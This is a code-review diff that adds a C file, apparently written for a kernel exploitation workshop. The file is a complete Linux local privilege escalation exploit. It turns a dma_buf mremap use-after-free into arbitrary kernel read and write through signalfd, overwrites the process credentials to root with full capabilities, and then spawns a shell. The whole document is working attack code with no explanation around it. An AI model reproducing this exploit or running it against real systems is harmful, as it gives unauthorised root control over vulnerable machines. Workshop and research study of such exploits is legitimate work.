Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
374 changes: 374 additions & 0 deletions workshop_exploit/exploit_born0monday.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,374 @@
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <syscall.h>
#include <unistd.h>

#include "dma_buf_t.h"

#define N_PAGES 8
#define PAGE_SIZE 0x1000

#define NUM_SPRAYS 20
#define NUM_SPRAY_BUFS 20
#define NUM_DRAIN_BUFS 20

#define NUM_SPRAY_FDS 100

#define NUM_SCAN_ITERATIONS 1000

#define errx(ret_code, msg) do{perror(msg); exit(ret_code);} while(0);
#define min(a, b) ((a) < (b) ? (a) : (b))

typedef uint64_t* kptr_t;

dma_buf_t* spray_array[NUM_SPRAY_BUFS] = {0};
int fd_array[NUM_SPRAY_FDS] = {0};

void* signalfd_ops = NULL;

void hexdump(char* addr, size_t len)
{
const size_t line_size = 32;
const size_t group_by = 8;
size_t off = 0;
int64_t rem = len;
printf("hexdump@%p:\n", addr);
while (rem)
{
printf("+0x%04lx:", off);
for (int l_cnt = 0; l_cnt < line_size && rem; l_cnt++, off++, rem--)
{
if ((l_cnt % group_by) == 0)
printf(" ");
printf("%02hhx", addr[off]);
}
printf("\n");
}
}

int spray()
{
for (int i = 0; i < NUM_SPRAYS; i++)
{
for (int j = 0; j < NUM_SPRAY_BUFS; j++)
{
spray_array[j] = dma_buf_create(N_PAGES * PAGE_SIZE);
}

for (int j = 0; j < NUM_SPRAY_BUFS; j++)
{
close(spray_array[j]->buf_fd);
free(spray_array[j]);
spray_array[j] = NULL;
}
}
}

int drain()
{
for (int j = 0; j < NUM_DRAIN_BUFS; j++)
{
spray_array[j] = dma_buf_create(2 * N_PAGES * PAGE_SIZE);
}
}

int drain_free()
{
for (int j = 0; j < NUM_DRAIN_BUFS; j++)
{
close(spray_array[j]->buf_fd);
free(spray_array[j]);
spray_array[j] = NULL;
}
}

void fd_cleanup()
{
for (int j = 0; j < NUM_SPRAY_FDS; j++)
{
close(fd_array[j]);
fd_array[j] = -1;
}
}

int raw_signalfd(int fd, sigset_t* sigset, int flags)
{
int err = syscall(__NR_signalfd, fd, sigset, flags);
if (err < 0)
perror("signalfd syscal failed");
return err;
}

int matches_signalfd_fops(void* ptr)
{
return ((uint64_t)ptr & 0xfff) == 0xf40;
}

uint64_t read_sigmask_fdinfo(int fd)
{
char path[64];
snprintf(path, sizeof(path), "/proc/%d/fdinfo/%d", getpid(), fd);

FILE* f = fopen(path, "r");
if (!f)
{
perror("fopen");
return 0;
}

char line[256];
while (fgets(line, sizeof(line), f))
{
if (strncmp(line, "sigmask:", 8) == 0)
{
char* hex = line + 8;
while (*hex == ' ' || *hex == '\t')
hex++;

uint64_t mask = strtoull(hex, NULL, 16);
fclose(f);
return mask;
}
}

fclose(f);
fprintf(stderr, "sigmask not found in fdinfo\n");
return 0;
}

uint64_t arb_read_8(int fd, void* ptr)
{
uint64_t* priv_ptr = signalfd_ops + 0xa0;
uint64_t old_val = *priv_ptr;

*priv_ptr = (uint64_t)ptr;
uint64_t val = read_sigmask_fdinfo(fd);

*priv_ptr = old_val;
val = ~val;

// printf("[+] read address %p: 0x%016llx\n", ptr, val);
return val;
}

void write_signalfd(int fd, void* ptr, u_int64_t data)
{
uint64_t* priv_ptr = signalfd_ops + 0xa0;
uint64_t old_val = *priv_ptr;

// printf("[+] overwrite address %p with 0x%016llx\n", ptr, data);
*priv_ptr = (uint64_t)ptr;
data = ~data;

raw_signalfd(fd, (sigset_t*)&data, 8);

*priv_ptr = old_val;
}

void arb_write(int fd, void* ptr, u_int64_t* data, size_t data_size)
{
uint64_t mask = 0x40100;
int i = 0;
size_t size = data_size + 64;

uint64_t* blocks = malloc(size * sizeof(uint64_t));

for (i; i < data_size; i++)
blocks[i] = data[i];

int found = 0;
// last block of target data matches mask
if ((data[data_size - 1] & mask) == mask)
found = (i - 1) * 8;

// last block of target data doesn't match mask
// dump/scan mem for matching block
for (; !found; i++)
{
if (i >= size)
{
size *= 2;
blocks = realloc(blocks, size * sizeof(uint64_t));
}

blocks[i] = arb_read_8(fd, ptr + i * 8);

// scan for mask match in previous block
for (int j = 0; j < 8; j++)
{
uint8_t* pos = (uint8_t*)&blocks[i - 1] + j;
if ((*(uint64_t*)pos & mask) == mask)
{
found = (i - 1) * 8 + j;
break;
}
}
}

// write data and additional memory blocks back
uint8_t* write_ptr = (uint8_t*)blocks;
for (int j = 0; j <= found; j++)
write_signalfd(fd, ptr + j, *(uint64_t*)write_ptr++);

free(blocks);
}

void dump_creds(int fd, kptr_t creds_addr)
{
uint64_t uid_gid, euid_egid;
uint32_t uid, gid, euid, egid;

uid_gid = arb_read_8(fd, (void*)creds_addr);
uid = (uint32_t)uid_gid;
gid = (uint32_t)(uid_gid >> 32);
euid_egid = arb_read_8(fd, (void*)(creds_addr + 2));
euid = (uint32_t)euid_egid;
egid = (uint32_t)(euid_egid >> 32);

printf("[+] Creds: uid %d, gid: %d, euid: %d, egid: %d\n", uid, gid, euid, egid);
}

int main(int argc, char* argv[])
{
// spray dma bufs, will go into pcp_freelist
spray();

// drain pcp_freelist
drain();

// create dma buf with one page less than sprayed bufs
dma_buf_t* dma_buf = dma_buf_create((N_PAGES - 1) * PAGE_SIZE);
if (!dma_buf)
errx(-1, "could not create dma_buf");

printf("[+] openend dma_buf as fd=%d\n", dma_buf->buf_fd);

// map dma
char* mapping =
mmap(NULL, dma_buf->size, PROT_READ | PROT_WRITE, MAP_SHARED, dma_buf->buf_fd, 0);
if (mapping == MAP_FAILED)
errx(-1, "mapping failed");

printf("[+] dma buffer mapped at %p\n", mapping);

// remap, increase size by one page
char* remapped = mremap(mapping, dma_buf->size, dma_buf->size + PAGE_SIZE, MREMAP_MAYMOVE);
if (remapped == MAP_FAILED)
errx(-1, "remapping failed");

printf("[+] dma buffer remapped at %p\n", remapped);

// volatile -> no caching
volatile char* uaf_page = ((volatile char*)remapped + dma_buf->size);

// fill pcp_freelist again
drain_free();

for (int i = 0; i < NUM_SCAN_ITERATIONS; i++)
{
u_int64_t val = 0;

for (int j = 0; j < NUM_SPRAY_FDS; j++)
{
fd_array[j] = raw_signalfd(-1, (sigset_t*)&val, 8);
}

drain();

for (int i = 0; i < PAGE_SIZE / 8; i++)
{
uint64_t* uaf_page_ptrs = (uint64_t*)uaf_page;

if (matches_signalfd_fops((void*)uaf_page_ptrs[i]))
{
signalfd_ops = (void*)&uaf_page_ptrs[i];
printf("[+] Found signalfd filp at %p\n", signalfd_ops);
hexdump((char*)uaf_page + i * 8, min(PAGE_SIZE - i * 8, 0x200));
break;
}
}

if (signalfd_ops)
break;

madvise((void*)uaf_page, PAGE_SIZE, MADV_DONTNEED);
drain_free();
fd_cleanup();
}

if (!signalfd_ops)
errx(-1, "signalfd_ops not found");

uint64_t* mode_ptr = signalfd_ops + 24;
uint64_t old_mode = *mode_ptr;
*mode_ptr = (uint64_t)-1;

// scan for correct fd
int fd_idx = -1;
for (int i = 0; i < NUM_SPRAY_FDS; i++)
{
int mode = fcntl(fd_array[i], F_GETFL);
if (mode == -1)
{
fd_idx = i;
break;
}
}

// restore old mode
*mode_ptr = old_mode;

if (fd_idx < 0)
{
fd_cleanup();
errx(-1, "fd index not found");
}

printf("[+] Found fd index: %d\n", fd_idx);

int fd = fd_array[fd_idx];

uint64_t* priv_ptr = signalfd_ops + 0xa0;
kptr_t cred_ptr = (kptr_t) * (priv_ptr - 7);
kptr_t uid_ptr = (kptr_t)((char*)cred_ptr + 4);

printf("[+] Cred pointer: %p\n", cred_ptr);

dump_creds(fd, uid_ptr);

printf("[+] Overwrite creds\n");

uint64_t data[7];
data[0] = 0; // uid & gid
data[1] = 0; // suid & sgid
data[2] = 0; // euid & egid
data[3] = 0; // fsuid & fsgid
data[4] = 0; // secure bits
data[5] = (uint64_t)-1; // cap_inheritable & cap_permitted
data[6] = (uint64_t)-1; // cap_effective & cap_bset

/* testing different lengths for arb write
uint64_t data[1];
data[0] = 0; // uid & gid
*/

arb_write(fd, (void*)uid_ptr, data, sizeof(data) / 8);

dump_creds(fd, uid_ptr);

printf("[+] Spawn shell\n");
char* nargv[] = {"/bin/sh", NULL};
char* nenvp[] = {NULL}; // leere Umgebung
execve("/bin/sh", nargv, nenvp);

// cleanup
madvise((void*)uaf_page, PAGE_SIZE, MADV_DONTNEED);
fd_cleanup();
drain_free();
}
Loading